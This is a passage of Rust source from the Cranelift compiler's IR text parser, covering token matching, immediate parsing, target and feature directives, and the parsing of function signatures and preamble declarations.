else { parser.with_default_calling_convention(options.default_calling_convention) }; parser.token(); parser.claim_gathered_comments(AnyEntity::Function); let preamble_comments = parser.take_comments(); let functions = parser.parse_function_list(isa_spec.unique_isa())?; Ok(TestFile { commands, isa_spec, features, preamble_comments, functions, }) } pub struct Parser<'a> { lex: Lexer<'a>, lex_error: Option<LexError>, /// Current lookahead token. lookahead: Option<Token<'a>>, /// Location of lookahead. loc: Location, /// Are we gathering any comments that we encounter? gathering_comments: bool, /// The gathered comments; claim them with `claim_gathered_comments`. gathered_comments: Vec<&'a str>, /// Comments collected so far. comments: Vec<Comment<'a>>, /// Default calling conventions; used when none is specified. default_calling_convention: CallConv, } /// Context for resolving references when parsing a single function. struct Context<'a> { function: Function, map: SourceMap, /// Aliases to resolve once value definitions are known. aliases: Vec<Value>, /// Reference to the unique_isa for things like parsing target-specific instruction encoding /// information. This is only `Some` if exactly one set of `isa` directives were found in the /// prologue (it is valid to have directives for multiple different targets, but in that case /// we couldn't know which target the provided encodings are intended for) unique_isa: Option<&'a dyn TargetIsa>, } impl<'a> Context<'a> { fn new(f: Function, unique_isa: Option<&'a dyn TargetIsa>) -> Self { Self { function: f, map: SourceMap::new(), unique_isa, aliases: Vec::new(), } } // Get the index of a recipe name if it exists. fn find_recipe_index(&self, recipe_name: &str) -> Option<u16> { if let Some(unique_isa) = self.unique_isa { unique_isa .encoding_info() .names .iter() .position(|&name| name == recipe_name) .map(|idx| idx as u16) } else { None } } // Allocate a new stack slot. fn add_ss(&mut self, ss: StackSlot, data: StackSlotData, loc: Location) -> ParseResult<()> { self.map.def_ss(ss, loc)?; while self.function.stack_slots.next_key().index() <= ss.index() { self.function .create_stack_slot(StackSlotData::new(StackSlotKind::SpillSlot, 0)); } self.function.stack_slots[ss] = data; Ok(()) } // Resolve a reference to a stack slot. fn check_ss(&self, ss: StackSlot, loc: Location) -> ParseResult<()> { if !self.map.contains_ss(ss) { err!(loc, "undefined stack slot {}", ss) } else { Ok(()) } } // Allocate a global value slot. fn add_gv(&mut self, gv: GlobalValue, data: GlobalValueData, loc: Location) -> ParseResult<()> { self.map.def_gv(gv, loc)?; while self.function.global_values.next_key().index() <= gv.index() { self.function.create_global_value(GlobalValueData::Symbol { name: ExternalName::testcase(""), offset: Imm64::new(0), colocated: false, }); } self.function.global_values[gv] = data; Ok(()) } // Resolve a reference to a global value. fn check_gv(&self, gv: GlobalValue, loc: Location) -> ParseResult<()> { if !self.map.contains_gv(gv) { err!(loc, "undefined global value {}", gv) } else { Ok(()) } } // Allocate a heap slot. fn add_heap(&mut self, heap: Heap, data: HeapData, loc: Location) -> ParseResult<()> { self.map.def_heap(heap, loc)?; while self.function.heaps.next_key().index() <= heap.index() { self.function.create_heap(HeapData { base: GlobalValue::reserved_value(), min_size: Uimm64::new(0), offset_guard_size: Uimm64::new(0), style: HeapStyle::Static { bound: Uimm64::new(0), }, index_type: INVALID, }); } self.function.heaps[heap] = data; Ok(()) } // Resolve a reference to a heap. fn check_heap(&self, heap: Heap, loc: Location) -> ParseResult<()> { if !self.map.contains_heap(heap) { err!(loc, "undefined heap {}", heap) } else { Ok(()) } } // Allocate a table slot. fn add_table(&mut self, table: Table, data: TableData, loc: Location) -> ParseResult<()> { while self.function.tables.next_key().index() <= table.index() { self.function.create_table(TableData { base_gv: GlobalValue::reserved_value(), min_size: Uimm64::new(0), bound_gv: GlobalValue::reserved_value(), element_size: Uimm64::new(0), index_type: INVALID, }); } self.function.tables[table] = data; self.map.def_table(table, loc) } // Resolve a reference to a table. fn check_table(&self, table: Table, loc: Location) -> ParseResult<()> { if !self.map.contains_table(table) { err!(loc, "undefined table {}", table) } else { Ok(()) } } // Allocate a new signature. fn add_sig( &mut self, sig: SigRef, data: Signature, loc: Location, defaultcc: CallConv, ) -> ParseResult<()> { self.map.def_sig(sig, loc)?; while self.function.dfg.signatures.next_key().index() <= sig.index() { self.function.import_signature(Signature::new(defaultcc)); } self.function.dfg.signatures[sig] = data; Ok(()) } // Resolve a reference to a signature. fn check_sig(&self, sig: SigRef, loc: Location) -> ParseResult<()> { if !self.map.contains_sig(sig) { err!(loc, "undefined signature {}", sig) } else { Ok(()) } } // Allocate a new external function. fn add_fn(&mut self, fn_: FuncRef, data: ExtFuncData, loc: Location) -> ParseResult<()> { self.map.def_fn(fn_, loc)?; while self.function.dfg.ext_funcs.next_key().index() <= fn_.index() { self.function.import_function(ExtFuncData { name: ExternalName::testcase(""), signature: SigRef::reserved_value(), colocated: false, }); } self.function.dfg.ext_funcs[fn_] = data; Ok(()) } // Resolve a reference to a function. fn check_fn(&self, fn_: FuncRef, loc: Location) -> ParseResult<()> { if !self.map.contains_fn(fn_) { err!(loc, "undefined function {}", fn_) } else { Ok(()) } } // Allocate a new jump table. fn add_jt(&mut self, jt: JumpTable, data: JumpTableData, loc: Location) -> ParseResult<()> { self.map.def_jt(jt, loc)?; while self.function.jump_tables.next_key().index() <= jt.index() { self.function.create_jump_table(JumpTableData::new()); } self.function.jump_tables[jt] = data; Ok(()) } // Resolve a reference to a jump table. fn check_jt(&self, jt: JumpTable, loc: Location) -> ParseResult<()> { if !self.map.contains_jt(jt) { err!(loc, "undefined jump table {}", jt) } else { Ok(()) } } // Allocate a new EBB. fn add_ebb(&mut self, ebb: Ebb, loc: Location) -> ParseResult<Ebb> { self.map.def_ebb(ebb, loc)?; while self.function.dfg.num_ebbs() <= ebb.index() { self.function.dfg.make_ebb(); } self.function.layout.append_ebb(ebb); Ok(ebb) } } impl<'a> Parser<'a> { /// Create a new `Parser` which reads `text`. The referenced text must outlive the parser. pub fn new(text: &'a str) -> Self { Self { lex: Lexer::new(text), lex_error: None, lookahead: None, loc: Location { line_number: 0 }, gathering_comments: false, gathered_comments: Vec::new(), comments: Vec::new(), default_calling_convention: CallConv::Fast, } } /// Modify the default calling convention; returns a new parser with the changed calling /// convention. pub fn with_default_calling_convention(self, default_calling_convention: CallConv) -> Self { Self { default_calling_convention, ..self } } // Consume the current lookahead token and return it. fn consume(&mut self) -> Token<'a> { self.lookahead.take().expect("No token to consume") } // Consume the whole line following the current lookahead token. // Return the text of the line tail. fn consume_line(&mut self) -> &'a str { let rest = self.lex.rest_of_line(); self.consume(); rest } // Get the current lookahead token, after making sure there is one. fn token(&mut self) -> Option<Token<'a>> { // clippy says self.lookahead is immutable so this loop is either infinite or never // running. I don't think this is true - self.lookahead is mutated in the loop body - so // maybe this is a clippy bug? Either way, disable clippy for this. #[cfg_attr(feature = "cargo-clippy", allow(clippy::while_immutable_condition))] while self.lookahead == None { match self.lex.next() { Some(Ok(LocatedToken { token, location })) => { match token { Token::Comment(text) => { if self.gathering_comments { self.gathered_comments.push(text); } } _ => self.lookahead = Some(token), } self.loc = location; } Some(Err(LocatedError { error, location })) => { self.lex_error = Some(error); self.loc = location; break; } None => break, } } self.lookahead } // Enable gathering of all comments encountered. fn start_gathering_comments(&mut self) { debug_assert!(!self.gathering_comments); self.gathering_comments = true; debug_assert!(self.gathered_comments.is_empty()); } // Claim the comments gathered up to the current position for the // given entity. fn claim_gathered_comments<E: Into<AnyEntity>>(&mut self, entity: E) { debug_assert!(self.gathering_comments); let entity = entity.into(); self.comments.extend( self.gathered_comments .drain(..) .map(|text| Comment { entity, text }), ); self.gathering_comments = false; } // Get the comments collected so far, clearing out the internal list. fn take_comments(&mut self) -> Vec<Comment<'a>> { debug_assert!(!self.gathering_comments); mem::replace(&mut self.comments, Vec::new()) } // Match and consume a token without payload. fn match_token(&mut self, want: Token<'a>, err_msg: &str) -> ParseResult<Token<'a>> { if self.token() == Some(want) { Ok(self.consume()) } else { err!(self.loc, err_msg) } } // If the next token is a `want`, consume it, otherwise do nothing. fn optional(&mut self, want: Token<'a>) -> bool { if self.token() == Some(want) { self.consume(); true } else { false } } // Match and consume a specific identifier string. // Used for pseudo-keywords like "stack_slot" that only appear in certain contexts. fn match_identifier(&mut self, want: &'static str, err_msg: &str) -> ParseResult<Token<'a>> { if self.token() == Some(Token::Identifier(want)) { Ok(self.consume()) } else { err!(self.loc, err_msg) } } // Match and consume a type. fn match_type(&mut self, err_msg: &str) -> ParseResult<Type> { if let Some(Token::Type(t)) = self.token() { self.consume(); Ok(t) } else { err!(self.loc, err_msg) } } // Match and consume a stack slot reference. fn match_ss(&mut self, err_msg: &str) -> ParseResult<StackSlot> { if let Some(Token::StackSlot(ss)) = self.token() { self.consume(); if let Some(ss) = StackSlot::with_number(ss) { return Ok(ss); } } err!(self.loc, err_msg) } // Match and consume a global value reference. fn match_gv(&mut self, err_msg: &str) -> ParseResult<GlobalValue> { if let Some(Token::GlobalValue(gv)) = self.token() { self.consume(); if let Some(gv) = GlobalValue::with_number(gv) { return Ok(gv); } } err!(self.loc, err_msg) } // Match and consume a function reference. fn match_fn(&mut self, err_msg: &str) -> ParseResult<FuncRef> { if let Some(Token::FuncRef(fnref)) = self.token() { self.consume(); if let Some(fnref) = FuncRef::with_number(fnref) { return Ok(fnref); } } err!(self.loc, err_msg) } // Match and consume a signature reference. fn match_sig(&mut self, err_msg: &str) -> ParseResult<SigRef> { if let Some(Token::SigRef(sigref)) = self.token() { self.consume(); if let Some(sigref) = SigRef::with_number(sigref) { return Ok(sigref); } } err!(self.loc, err_msg) } // Match and consume a heap reference. fn match_heap(&mut self, err_msg: &str) -> ParseResult<Heap> { if let Some(Token::Heap(heap)) = self.token() { self.consume(); if let Some(heap) = Heap::with_number(heap) { return Ok(heap); } } err!(self.loc, err_msg) } // Match and consume a table reference. fn match_table(&mut self, err_msg: &str) -> ParseResult<Table> { if let Some(Token::Table(table)) = self.token() { self.consume(); if let Some(table) = Table::with_number(table) { return Ok(table); } } err!(self.loc, err_msg) } // Match and consume a jump table reference. fn match_jt(&mut self) -> ParseResult<JumpTable> { if let Some(Token::JumpTable(jt)) = self.token() { self.consume(); if let Some(jt) = JumpTable::with_number(jt) { return Ok(jt); } } err!(self.loc, "expected jump table number: jt«n»") } // Match and consume an ebb reference. fn match_ebb(&mut self, err_msg: &str) -> ParseResult<Ebb> { if let Some(Token::Ebb(ebb)) = self.token() { self.consume(); Ok(ebb) } else { err!(self.loc, err_msg) } } // Match and consume a value reference. fn match_value(&mut self, err_msg: &str) -> ParseResult<Value> { if let Some(Token::Value(v)) = self.token() { self.consume(); Ok(v) } else { err!(self.loc, err_msg) } } fn error(&self, message: &str) -> ParseError { ParseError { location: self.loc, message: message.to_string(), is_warning: false, } } // Match and consume an Imm64 immediate. fn match_imm64(&mut self, err_msg: &str) -> ParseResult<Imm64> { if let Some(Token::Integer(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like an integer. // Parse it as an Imm64 to check for overflow and other issues. text.parse().map_err(|e| self.error(e)) } else { err!(self.loc, err_msg) } } // Match and consume a Uimm128 immediate; due to size restrictions on InstructionData, Uimm128 // is boxed in cranelift-codegen/meta/src/shared/immediates.rs fn match_uimm128(&mut self, err_msg: &str) -> ParseResult<Uimm128> { if let Some(Token::Integer(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like hex code. // Parse it as an Uimm128 to check for overflow and other issues. text.parse().map_err(|e| { self.error(&format!( "expected u128 hexadecimal immediate, failed to parse: {}", e )) }) } else { err!(self.loc, err_msg) } } // Match and consume either a hexadecimal Uimm128 immediate (e.g. 0x000102...) or its literal list form (e.g. [0 1 2...]) fn match_uimm128_or_literals(&mut self, controlling_type: Type) -> ParseResult<Uimm128> { if self.optional(Token::LBracket) { // parse using a list of values, e.g. vconst.i32x4 [0 1 2 3] let uimm128 = self.parse_literals_to_uimm128(controlling_type)?; self.match_token(Token::RBracket, "expected a terminating right bracket")?; Ok(uimm128) } else { // parse using a hexadecimal value self.match_uimm128("expected an immediate hexadecimal operand") } } // Match and consume a Uimm64 immediate. fn match_uimm64(&mut self, err_msg: &str) -> ParseResult<Uimm64> { if let Some(Token::Integer(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like an integer. // Parse it as an Uimm64 to check for overflow and other issues. text.parse() .map_err(|_| self.error("expected u64 decimal immediate")) } else { err!(self.loc, err_msg) } } // Match and consume a Uimm32 immediate. fn match_uimm32(&mut self, err_msg: &str) -> ParseResult<Uimm32> { if let Some(Token::Integer(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like an integer. // Parse it as an Uimm32 to check for overflow and other issues. text.parse().map_err(|e| self.error(e)) } else { err!(self.loc, err_msg) } } // Match and consume a u8 immediate. // This is used for lane numbers in SIMD vectors. fn match_uimm8(&mut self, err_msg: &str) -> ParseResult<u8> { if let Some(Token::Integer(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like an integer. // Parse it as a u8 to check for overflow and other issues. text.parse() .map_err(|_| self.error("expected u8 decimal immediate")) } else { err!(self.loc, err_msg) } } // Match and consume an i32 immediate. // This is used for stack argument byte offsets. fn match_imm32(&mut self, err_msg: &str) -> ParseResult<i32> { if let Some(Token::Integer(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like an integer. // Parse it as a i32 to check for overflow and other issues. text.parse() .map_err(|_| self.error("expected i32 decimal immediate")) } else { err!(self.loc, err_msg) } } // Match and consume an optional offset32 immediate. // // Note that this will match an empty string as an empty offset, and that if an offset is // present, it must contain a sign. fn optional_offset32(&mut self) -> ParseResult<Offset32> { if let Some(Token::Integer(text)) = self.token() { if text.starts_with('+') || text.starts_with('-') { self.consume(); // Lexer just gives us raw text that looks like an integer. // Parse it as an `Offset32` to check for overflow and other issues. return text.parse().map_err(|e| self.error(e)); } } // An offset32 operand can be absent. Ok(Offset32::new(0)) } // Match and consume an optional offset32 immediate. // // Note that this will match an empty string as an empty offset, and that if an offset is // present, it must contain a sign. fn optional_offset_imm64(&mut self) -> ParseResult<Imm64> { if let Some(Token::Integer(text)) = self.token() { if text.starts_with('+') || text.starts_with('-') { self.consume(); // Lexer just gives us raw text that looks like an integer. // Parse it as an `Offset32` to check for overflow and other issues. return text.parse().map_err(|e| self.error(e)); } } // If no explicit offset is present, the offset is 0. Ok(Imm64::new(0)) } // Match and consume an Ieee32 immediate. fn match_ieee32(&mut self, err_msg: &str) -> ParseResult<Ieee32> { if let Some(Token::Float(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like a float. // Parse it as an Ieee32 to check for the right number of digits and other issues. text.parse().map_err(|e| self.error(e)) } else { err!(self.loc, err_msg) } } // Match and consume an Ieee64 immediate. fn match_ieee64(&mut self, err_msg: &str) -> ParseResult<Ieee64> { if let Some(Token::Float(text)) = self.token() { self.consume(); // Lexer just gives us raw text that looks like a float. // Parse it as an Ieee64 to check for the right number of digits and other issues. text.parse().map_err(|e| self.error(e)) } else { err!(self.loc, err_msg) } } // Match and consume a boolean immediate. fn match_bool(&mut self, err_msg: &str) -> ParseResult<bool> { if let Some(Token::Identifier(text)) = self.token() { self.consume(); match text { "true" => Ok(true), "false" => Ok(false), _ => err!(self.loc, err_msg), } } else { err!(self.loc, err_msg) } } // Match and consume an enumerated immediate, like one of the condition codes. fn match_enum<T: FromStr>(&mut self, err_msg: &str) -> ParseResult<T> { if let Some(Token::Identifier(text)) = self.token() { self.consume(); text.parse().map_err(|_| self.error(err_msg)) } else { err!(self.loc, err_msg) } } // Match and a consume a possibly empty sequence of memory operation flags. fn optional_memflags(&mut self) -> MemFlags { let mut flags = MemFlags::new(); while let Some(Token::Identifier(text)) = self.token() { if flags.set_by_name(text) { self.consume(); } else { break; } } flags } // Match and consume an identifier. fn match_any_identifier(&mut self, err_msg: &str) -> ParseResult<&'a str> { if let Some(Token::Identifier(text)) = self.token() { self.consume(); Ok(text) } else { err!(self.loc, err_msg) } } // Match and consume a HexSequence that fits into a u16. // This is used for instruction encodings. fn match_hex16(&mut self, err_msg: &str) -> ParseResult<u16> { if let Some(Token::HexSequence(bits_str)) = self.token() { self.consume(); // The only error we anticipate from this parse is overflow, the lexer should // already have ensured that the string doesn't contain invalid characters, and // isn't empty or negative. u16::from_str_radix(bits_str, 16) .map_err(|_| self.error("the hex sequence given overflows the u16 type")) } else { err!(self.loc, err_msg) } } // Match and consume a register unit either by number `%15` or by name `%rax`. fn match_regunit(&mut self, isa: Option<&dyn TargetIsa>) -> ParseResult<RegUnit> { if let Some(Token::Name(name)) = self.token() { self.consume(); match isa { Some(isa) => isa .register_info() .parse_regunit(name) .ok_or_else(|| self.error("invalid register name")), None => name .parse() .map_err(|_| self.error("invalid register number")), } } else { match isa { Some(isa) => err!(self.loc, "Expected {} register unit", isa.name()), None => err!(self.loc, "Expected register unit number"), } } } /// Parse an optional source location. /// /// Return an optional source location if no real location is present. fn optional_srcloc(&mut self) -> ParseResult<ir::SourceLoc> { if let Some(Token::SourceLoc(text)) = self.token() { match u32::from_str_radix(text, 16) { Ok(num) => { self.consume(); Ok(ir::SourceLoc::new(num)) } Err(_) => return err!(self.loc, "invalid source location: {}", text), } } else { Ok(Default::default()) } } /// Parse a list of literals (i.e. integers, floats, booleans); e.g. fn parse_literals_to_uimm128(&mut self, ty: Type) -> ParseResult<Uimm128> { macro_rules! consume { ( $ty:ident, $match_fn:expr ) => {{ assert!($ty.is_vector()); let mut v = Vec::with_capacity($ty.lane_count() as usize); for _ in 0..$ty.lane_count() { v.push($match_fn?); } Uimm128::from_iter(v) }}; } if !ty.is_vector() { err!(self.loc, "Expected a controlling vector type, not {}", ty) } else { let uimm128 = match ty.lane_type() { I8 => consume!(ty, self.match_uimm8("Expected an 8-bit unsigned integer")), I16 => unimplemented!(), // TODO no 16-bit match yet I32 => consume!(ty, self.match_imm32("Expected a 32-bit integer")), I64 => consume!(ty, self.match_imm64("Expected a 64-bit integer")), F32 => consume!(ty, self.match_ieee32("Expected a 32-bit float...")), F64 => consume!(ty, self.match_ieee64("Expected a 64-bit float")), b if b.is_bool() => consume!(ty, self.match_bool("Expected a boolean")), _ => return err!(self.loc, "Expected a type of: float, int, bool"), }; Ok(uimm128) } } /// Parse a list of test command passes specified in command line. pub fn parse_cmdline_passes(&mut self, passes: &'a [String]) -> Vec<TestCommand<'a>> { let mut list = Vec::new(); for pass in passes { list.push(TestCommand::new(pass)); } list } /// Parse a list of test commands. pub fn parse_test_commands(&mut self) -> Vec<TestCommand<'a>> { let mut list = Vec::new(); while self.token() == Some(Token::Identifier("test")) { list.push(TestCommand::new(self.consume_line())); } list } /// Parse a target spec. /// /// Accept the target from the command line for pass command. /// fn parse_cmdline_target(&mut self, target_pass: Option<&str>) -> ParseResult<isaspec::IsaSpec> { // Were there any `target` commands specified? let mut specified_target = false; let mut targets = Vec::new(); let flag_builder = settings::builder(); if let Some(targ) = target_pass { let loc = self.loc; let triple = match Triple::from_str(targ) { Ok(triple) => triple, Err(err) => return err!(loc, err), }; let isa_builder = match isa::lookup(triple) { Err(isa::LookupError::SupportDisabled) => { return err!(loc, "support disabled target '{}'", targ); } Err(isa::LookupError::Unsupported) => { return warn!(loc, "unsupported target '{}'", targ); } Ok(b) => b, }; specified_target = true; // Construct a trait object with the aggregate settings. targets.push(isa_builder.finish(settings::Flags::new(flag_builder.clone()))); } if !specified_target { // No `target` commands. Ok(isaspec::IsaSpec::None(settings::Flags::new(flag_builder))) } else { Ok(isaspec::IsaSpec::Some(targets)) } } /// Parse a list of target specs. /// /// Accept a mix of `target` and `set` command lines. The `set` commands are cumulative. /// fn parse_target_specs(&mut self) -> ParseResult<isaspec::IsaSpec> { // Were there any `target` commands? let mut seen_target = false; // Location of last `set` command since the last `target`. let mut last_set_loc = None; let mut targets = Vec::new(); let mut flag_builder = settings::builder(); while let Some(Token::Identifier(command)) = self.token() { match command { "set" => { last_set_loc = Some(self.loc); isaspec::parse_options( self.consume_line().trim().split_whitespace(), &mut flag_builder, self.loc, )?; } "target" => { let loc = self.loc; // Grab the whole line so the lexer won't go looking for tokens on the // following lines. let mut words = self.consume_line().trim().split_whitespace(); // Look for `target foo`. let target_name = match words.next() { Some(w) => w, None => return err!(loc, "expected target triple"), }; let triple = match Triple::from_str(target_name) { Ok(triple) => triple, Err(err) => return err!(loc, err), }; let mut isa_builder = match isa::lookup(triple) { Err(isa::LookupError::SupportDisabled) => { continue; } Err(isa::LookupError::Unsupported) => { return warn!(loc, "unsupported target '{}'", target_name); } Ok(b) => b, }; last_set_loc = None; seen_target = true; // Apply the target-specific settings to `isa_builder`. isaspec::parse_options(words, &mut isa_builder, self.loc)?; // Construct a trait object with the aggregate settings. targets.push(isa_builder.finish(settings::Flags::new(flag_builder.clone()))); } _ => break, } } if !seen_target { // No `target` commands, but we allow for `set` commands. Ok(isaspec::IsaSpec::None(settings::Flags::new(flag_builder))) } else if let Some(loc) = last_set_loc { err!( loc, "dangling 'set' command after ISA specification has no effect." ) } else { Ok(isaspec::IsaSpec::Some(targets)) } } /// Parse a list of expected features that Cranelift should be compiled with, or without. pub fn parse_cranelift_features(&mut self) -> ParseResult<Vec<Feature<'a>>> { let mut list = Vec::new(); while self.token() == Some(Token::Identifier("feature")) { self.consume(); let has = !self.optional(Token::Not); match (self.token(), has) { (Some(Token::String(flag)), true) => list.push(Feature::With(flag)), (Some(Token::String(flag)), false) => list.push(Feature::Without(flag)), (tok, _) => { return err!( self.loc, format!("Expected feature flag string, got {:?}", tok) ) } } self.consume(); } Ok(list) } /// Parse a list of function definitions. /// /// This is the top-level parse function matching the whole contents of a file. pub fn parse_function_list( &mut self, unique_isa: Option<&dyn TargetIsa>, ) -> ParseResult<Vec<(Function, Details<'a>)>> { let mut list = Vec::new(); while self.token().is_some() { list.push(self.parse_function(unique_isa)?); } if let Some(err) = self.lex_error { return match err { LexError::InvalidChar => err!(self.loc, "invalid character"), }; } Ok(list) } // Parse a whole function definition. // // function ::= * "function" name signature "{" preamble function-body "}" // fn parse_function( &mut self, unique_isa: Option<&dyn TargetIsa>, ) -> ParseResult<(Function, Details<'a>)> { // Begin gathering comments. // Make sure we don't include any comments before the `function` keyword. self.token(); debug_assert!(self.comments.is_empty()); self.start_gathering_comments(); self.match_identifier("function", "expected 'function'")?; let location = self.loc; // function ::= "function" * name signature "{" preamble function-body "}" let name = self.parse_external_name()?; // function ::= "function" name * signature "{" preamble function-body "}" let sig = self.parse_signature(unique_isa)?; let mut ctx = Context::new(Function::with_name_signature(name, sig), unique_isa); // function ::= "function" name signature * "{" preamble function-body "}" self.match_token(Token::LBrace, "expected '{' before function body")?; self.token(); self.claim_gathered_comments(AnyEntity::Function); // function ::= "function" name signature "{" * preamble function-body "}" self.parse_preamble(&mut ctx)?; // function ::= "function" name signature "{" preamble * function-body "}" self.parse_function_body(&mut ctx)?; // function ::= "function" name signature "{" preamble function-body * "}" self.match_token(Token::RBrace, "expected '}' after function body")?; // Collect any comments following the end of the function, then stop gathering comments. self.start_gathering_comments(); self.token(); self.claim_gathered_comments(AnyEntity::Function); let details = Details { location, comments: self.take_comments(), map: ctx.map, }; Ok((ctx.function, details)) } // Parse an external name. // // For example, in a function decl, the parser would be in this state: // // function ::= "function" * name signature { ... } // fn parse_external_name(&mut self) -> ParseResult<ExternalName> { match self.token() { Some(Token::Name(s)) => { self.consume(); s.parse() .map_err(|_| self.error("invalid test case or libcall name")) } Some(Token::UserRef(namespace)) => { self.consume(); match self.token() { Some(Token::Colon) => { self.consume(); match self.token() { Some(Token::Integer(index_str)) => { let index: u32 = u32::from_str_radix(index_str, 10).map_err(|_| { self.error("the integer given overflows the u32 type") })?; self.consume(); Ok(ExternalName::user(namespace, index)) } _ => err!(self.loc, "expected integer"), } } _ => err!(self.loc, "expected colon"), } } _ => err!(self.loc, "expected external name"), } } // Parse a function signature. // // signature ::= * "(" [paramlist] ")" ["->" retlist] [callconv] // fn parse_signature(&mut self, unique_isa: Option<&dyn TargetIsa>) -> ParseResult<Signature> { // Calling convention defaults to `fast`, but can be changed. let mut sig = Signature::new(self.default_calling_convention); self.match_token(Token::LPar, "expected function signature: ( args... )")?; // signature ::= "(" * [abi-param-list] ")" ["->" retlist] [callconv] if self.token() != Some(Token::RPar) { sig.params = self.parse_abi_param_list(unique_isa)?; } self.match_token(Token::RPar, "expected ')' after function arguments")?; if self.optional(Token::Arrow) { sig.returns = self.parse_abi_param_list(unique_isa)?; } // The calling convention is optional. if let Some(Token::Identifier(text)) = self.token() { match text.parse() { Ok(cc) => { self.consume(); sig.call_conv = cc; } _ => return err!(self.loc, "unknown calling convention: {}", text), } } Ok(sig) } // Parse list of function parameter / return value types. // // paramlist ::= * param { "," param } // fn parse_abi_param_list( &mut self, unique_isa: Option<&dyn TargetIsa>, ) -> ParseResult<Vec<AbiParam>> { let mut list = Vec::new(); // abi-param-list ::= * abi-param { "," abi-param } list.push(self.parse_abi_param(unique_isa)?); // abi-param-list ::= abi-param * { "," abi-param } while self.optional(Token::Comma) { // abi-param-list ::= abi-param { "," * abi-param } list.push(self.parse_abi_param(unique_isa)?); } Ok(list) } // Parse a single argument type with flags. fn parse_abi_param(&mut self, unique_isa: Option<&dyn TargetIsa>) -> ParseResult<AbiParam> { // abi-param ::= * type { flag } [ argumentloc ] let mut arg = AbiParam::new(self.match_type("expected parameter type")?); // abi-param ::= type * { flag } [ argumentloc ] while let Some(Token::Identifier(s)) = self.token() { match s { "uext" => arg.extension = ArgumentExtension::Uext, "sext" => arg.extension = ArgumentExtension::Sext, _ => { if let Ok(purpose) = s.parse() { arg.purpose = purpose; } else { break; } } } self.consume(); } // abi-param ::= type { flag } * [ argumentloc ] arg.location = self.parse_argument_location(unique_isa)?; Ok(arg) } // Parse an argument location specifier; either a register or a byte offset into the stack. fn parse_argument_location( &mut self, unique_isa: Option<&dyn TargetIsa>, ) -> ParseResult<ArgumentLoc> { // argumentloc ::= '[' regname | uimm32 ']' if self.optional(Token::LBracket) { let result = match self.token() { Some(Token::Name(name)) => { self.consume(); if let Some(isa) = unique_isa { isa.register_info() .parse_regunit(name) .map(ArgumentLoc::Reg) .ok_or_else(|| self.error("invalid register name")) } else { err!(self.loc, "argument location requires exactly one isa") } } Some(Token::Integer(_)) => { let offset = self.match_imm32("expected stack argument byte offset")?; Ok(ArgumentLoc::Stack(offset)) } Some(Token::Minus) => { self.consume(); Ok(ArgumentLoc::Unassigned) } _ => err!(self.loc, "expected argument location"), }; self.match_token( Token::RBracket, "expected ']' to end argument location annotation", )?; result } else { Ok(ArgumentLoc::Unassigned) } } // Parse the function preamble. // // preamble ::= * { preamble-decl } // preamble-decl ::= * stack-slot-decl // * function-decl // * signature-decl // * jump-table-decl // // The parsed decls are added to `ctx` rather than returned. fn parse_preamble(&mut self, ctx: &mut Context) -> ParseResult<()> { loop { match self.token() { Some(Token::StackSlot(..)) => { self.start_gathering_comments(); let loc = self.loc; self.parse_stack_slot_decl() .and_then(|(ss, dat)| ctx.add_ss(ss, dat, loc)) } Some(Token::GlobalValue(..)) => { self.start_gathering_comments(); self.parse_global_value_decl() .and_then(|(gv, dat)| ctx.add_gv(gv, dat, self.loc)) } Some(Token::Heap(..)) => { self.start_gathering_comments(); self.parse_heap_decl() .and_then(|(heap, dat)| ctx.add_heap(heap, dat, self.loc)) } Some(Token::Table(..)) => { self.start_gathering_comments(); self.parse_table_decl() .and_then(|(table, dat)| ctx.add_table(table, dat, self.loc)) } Some(Token::SigRef(..)) => { self.start_gathering_comments(); self.parse_signature_decl(ctx.unique_isa) .and_then(|(sig, dat)| { ctx.add_sig(sig, dat, self.loc, self.default_calling_convention) }) } Some(Token::FuncRef(..)) => { self.start_gathering_comments(); self.parse_function_decl(ctx) .and_then(|(fn_, dat)| ctx.add_fn(fn_, dat, self.loc)) } Some(Token::JumpTable(..)) => { self.start_gathering_comments(); self.parse_jump_table_decl() .and_then(|(jt, dat)| ctx.add_jt(jt, dat, self.loc)) } // More to come.. _ => return Ok(()), }?; } } // Parse a stack slot decl. // // stack-slot-decl ::= * StackSlot(ss) "=" stack-slot-kind Bytes {"," stack-slot-flag} // stack-slot-kind ::= "explicit_slot" // | "spill_slot" // | "incoming_arg" // | "outgoing_arg" fn parse_stack_slot_decl(&mut self) -> ParseResult<(StackSlot, StackSlotData)> { let ss = self.match_ss("expected stack slot number: ss«n»")?; self.match_token(Token::Equal, "expected '=' in stack slot declaration")?; let kind = self.match_enum("expected stack slot kind")?; // stack-slot-decl ::= StackSlot(ss) "=" stack-slot-kind * Bytes {"," stack-slot-flag} let bytes: i64 = self .match_imm64("expected byte-size in stack_slot decl")? .into(); if bytes < 0 { return err!(self.loc, "negative stack slot size"); } if bytes > i64::from(u32::MAX) { return err!(self.loc, "stack slot too large"); } let mut data = StackSlotData::new(kind, bytes as u32); // Take additional options. while self.optional(Token::Comma) { match self.match_any_identifier("expected stack slot flags")? { "offset" => data.offset = Some(self.match_imm32("expected byte offset")?), other => return err!(self.loc, "Unknown stack slot flag '{}'", other), } } // Collect any trailing comments. self.token(); self.claim_gathered_comments(ss); // TBD: stack-slot-decl ::= StackSlot(ss) "=" stack-slot-kind Bytes * {"," stack-slot-flag} Ok((ss, data)) } // Parse a global value decl. // // global-val-decl ::= * GlobalValue(gv) "=" global-val-desc // global-val-desc ::= "vmctx" // | "load" "." type "notrap" "aligned" GlobalValue(base) [offset] // | "iadd_imm" "(" GlobalValue(base) ")" imm64 // | "symbol" ["colocated"] name + imm64 // fn parse_global_value_decl(&mut self) -> ParseResult<(GlobalValue, GlobalValueData)> { let gv = self.match_gv("expected global value number: gv«n»")?; self.match_token(Token::Equal, "expected '=' in global value declaration")?; let data = match self.match_any_identifier("expected global value kind")? { "vmctx" => GlobalValueData::VMContext, "load" => { self.match_token( Token::Dot, "expected '.' followed by type in load global value decl", )?; let global_type = self.match_type("expected load type")?; let flags = self.optional_memflags(); let base = self.match_gv("expected global value: gv«n»")?; let offset = self.optional_offset32()?; if !(flags.notrap() && flags.aligned()) { return err!(self.loc, "global-value load must be notrap and aligned"); } GlobalValueData::Load { base, offset, 